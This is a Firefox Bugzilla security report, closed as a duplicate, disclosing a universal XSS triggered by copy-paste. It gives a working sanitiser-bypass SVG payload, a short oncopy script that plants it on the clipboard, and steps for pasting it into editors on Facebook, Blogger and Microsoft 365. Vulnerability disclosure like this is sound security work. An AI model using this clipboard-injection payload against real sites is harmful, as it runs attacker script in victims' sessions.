Closed Bug 1648136 Opened 4 years ago Closed 4 years ago

Universal XSSin Firefox via Copy-Paste

Categories

(Firefox :: Untriaged, defect)

79 Branch
defect

Tracking

()

RESOLVED DUPLICATE of bug 1646140

People

(Reporter: sriyanto4th, Unassigned)

Details

Attachments

(3 files)

Attached video XSS_FACEBOOK.mp4

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.106 Safari/537.36

Steps to reproduce:

I found another XSS via copy-paste or maybe a bypass for bug https://bugzilla.mozilla.org/show_bug.cgi?id=1602843

Final payload: <svg><style><svg onload="javascript:alert(document.domain)">


I create live POC here https://sites.google.com/ultrasonic.page/test, the code:

document.oncopy = event => {
event.preventDefault();
event.clipboardData.setData('text/html', '<svg><style><svg onload="javascript:alert(document.domain)">');
}

Copying content from there, and paste it on editor with <div contenteditable> will execute the XSS.

I can show that the XSS will be executed on some major website like Google, Facebook, Microsoft, some email providers and many more.

Step to reproduce:

  1. Open Firefox or Firefox Nightly
  2. Goto https://sites.google.com/ultrasonic.page/test
  3. Copy the content
  4. Goto https://facebook.com/
  5. Press CTRL+V
  6. Goto Blogger editor --> Paste on Editor
  7. Goto some Office online apps --> Paste or press CTRL+V on editor

Please check attached video POC for more details.

Reproduced on:

  • Latest Firefox and Firefox Nightly
  • Windows 10

Actual results:

XSS will be executed on pasting or pressing CTRL+V

Attached video XSS_Microsoft_365.mp4
Attached video XSS_BLOGGER.mp4
Status: UNCONFIRMED → RESOLVED
Closed: 4 years ago
Resolution: --- → DUPLICATE

Hi,

Since it's duplicate, is it possible for me to get access to bug 1646140?

Thanks!

Group: firefox-core-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: